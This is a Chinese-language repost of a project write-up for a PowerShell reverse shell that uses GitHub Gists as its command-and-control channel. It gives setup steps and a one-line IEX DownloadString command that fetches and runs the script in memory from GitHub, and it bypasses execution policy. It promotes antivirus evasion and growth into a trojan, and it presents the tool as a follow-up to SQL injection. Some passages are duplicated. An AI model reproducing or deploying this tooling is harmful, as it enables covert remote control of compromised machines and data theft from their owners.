项目主页
最初是在Powershell V3.0下开发,发现兼容性问题,于是又改成了2.0可以执行的,即支持Win7和Win2008及以上。
当前版本只支持了CMD命令执行,至于其它功能,如文件上下传,开机启动,Powershell语句执行,后续需求来开发。 使用方法
![Powershell-Github-Shell:利用Github来做控制端的Powershell版本的Shell]()
Command:"time /T"
ReadFile:"c:/windows/temp/1.txt"
WriteFile:"http://www.github.com/raw/1.zip c:/wnidows/temp/2.txt"
Powershell:"Get-Process | Out-String"
Command:"whoami"
$gistsApiToken="gittoken"; # 上步中得到的token ,例eed4239e439034a92fc4cbe0fbd2ca906999a9f1
$checkTime=60; # 每次获取命令结果需要等待的时间,秒为单位
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/zlocal/Powershell-Github-
Shell/master/PGShell.ps1')
https://github.com/zlocal/Powershell-Github-Shell
Author:zshell
简介一般遇到比如说需要执行代码的时候就反弹一个shell回来.比如,一个SA权限的aspx注入,盲注的话,查结果又异常的麻烦,大多情况可能用nc会比较多,但NC的麻烦和限制或者是需要上传文件上去,而且如果是NAT情况又要有一个外网的服务器来监听使其回连。想到现在流行的windows 2008和win7及以上的比较主流,于是就周末时间利用了powershell,通过GITHUB的GIST接口实现一个反弹的shell.
特点 无程序,可以使用一句话远程内存加载powershell执行,不被杀。 HTTPS协议,在保密性和穿透性上优 易于扩展其它功能,比如加上文件上传下载就相当于是款不错的马。 不需要配置域名和VPS等,直接利用github提供命令和结果获取。 程序运行期间更改gist的命令后,只需要等待设定时间,即可获取结果,自动写入评论回复中,需要URL DECODE查看最初是在Powershell V3.0下开发,发现兼容性问题,于是又改成了2.0可以执行的,即支持Win7和Win2008及以上。
当前版本只支持了CMD命令执行,至于其它功能,如文件上下传,开机启动,Powershell语句执行,后续需求来开发。 使用方法
1, 创建github账户,访问 https://github.com/settings/tokens/new 选中 gist Create gists ,创建访问Gists的token.
2, 访问 https://gist.github.com/ ,创建一个Gist,属性最好为private,只有自己能访问查看结果,名称为cmd.例:
为了展示,我设置了public: https://gist.github.com/zlocal/1d449f3c195531c8cafbebfe808ea46e

Command:"time /T"
ReadFile:"c:/windows/temp/1.txt"
WriteFile:"http://www.github.com/raw/1.zip c:/wnidows/temp/2.txt"
Powershell:"Get-Process | Out-String"
Command:"whoami"
其中
Command后是想要执行的cmd命令,功能已测试OK ReadFile是上传目标机器上的文件到Github,暂未实现 WriteFile下载文件到目标机器,暂未实现 Powershell后是可以执行的Powershell指令,暂未实现3, 修改Powershell脚本的头部配置信息
$gistsUser="gitusername"; # github的用户名$gistsApiToken="gittoken"; # 上步中得到的token ,例eed4239e439034a92fc4cbe0fbd2ca906999a9f1
$checkTime=60; # 每次获取命令结果需要等待的时间,秒为单位
4, 使powershell在目标机器上执行
Powershell执行方法
一句话远程加载(推荐)
powershell IEX (New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/zlocal/Powershell-Github-
Shell/master/PGShell.ps1')
一句话本地加载
powershell IEX ([System.IO.File]::readAllText('PowershellGitShell.ps1')); //powershell一句话文件执行
powershell -executionPolicy bypass -File "c:/test/PowershellGitShell.ps1" //powershell5, 可以修改cmd gist的内容,在$checkTime秒后刷新网页,结果会在评论中。结果需要使用URL DECODE解码。
*转载请注明来自MottoIN